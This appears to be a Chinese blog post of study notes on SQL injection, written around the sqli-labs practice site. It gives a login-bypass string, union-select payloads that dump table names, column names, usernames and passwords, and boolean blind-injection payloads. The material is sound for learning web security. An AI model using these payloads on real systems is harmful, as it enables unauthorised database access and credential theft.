sql注入总结


操作语句:

show databases;

use information_schema;

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名

create table pte(name char(20),sec char(20), age int); 创建一个表

insert into pte(name, sec, age)values('zhangsan', 'boy', 18); 为各列添加数据

show tables;

select * from pte;

limit:分页查询

limit startIndex,length;

startIndex表示起始位置

length表示取几个

group_concat(str1,0x23,str2)

1,a#2,b#3,c


万能密码: ' or 1=1 -- (有真则真)

username = '' or 1=1 -- 整条语句都会被执行


sql注入注释符 # %23 --+


目标:

1、查询数据

2、执行命令(增删改)

3、读写文件


步骤:

1、查找注入点 get在url

2、判断是数字型还是字符型

?id=1

?id=2-1 和1相同为数字型(可以运算) 若执行?id=2的则为字符型

?id=1 and 1=2 与?id=1相同 则为字符型

?id=1 and 1=2 报错则为数字型 (有假则假)

3、判断闭合方式

' '' ') '')

4、判断列数

?id=1'order by 3 --+

5、判断回显位

?id=-1' union select 1,2,database() --+ 查询数据库名

6、查询用户名和密码

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在information_schema库查找table_schema(库名集合)列的数据为database()(本库名)的table_name(表名集合)列对应的数据(表名),排成一行显示 查有哪些表

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

查列名 查user表有哪些列

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(username,password),2%20from%20users%20--+

%27 ' %20 空格

查表中列对应的值


分类:

1、联合查询注入(直接回显) 用上面的步骤直接就能显示

2、盲注(无回显)

布尔盲注:即在页面不显示数据,只显示对错,此时我们输入的语句让页面呈现两种状态,相当于true和false,根据这两种状态判断我们输入的语句是否查询成功。

2、?id=1' and length(database()) =8 --+

3、?id=1'and ascii(substr(database(),1,1))>97 --+

转换成ascii是为了用二分法

substr('xxx',1,1) 从第一个字符开始,一次查询一个 查xxx的长度就是为了实现这个

查表名:

时间盲注:

f12看时间

报错注入

报错中有信息

post型:

抓包改包


sqli:

1、字符型 '

2、数字型 在1的基础上删掉 ' --+

3、字符型 ')

4、字符型 '')

5、id=1时显示

id=-1时显示

布尔盲注或时间盲注

其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值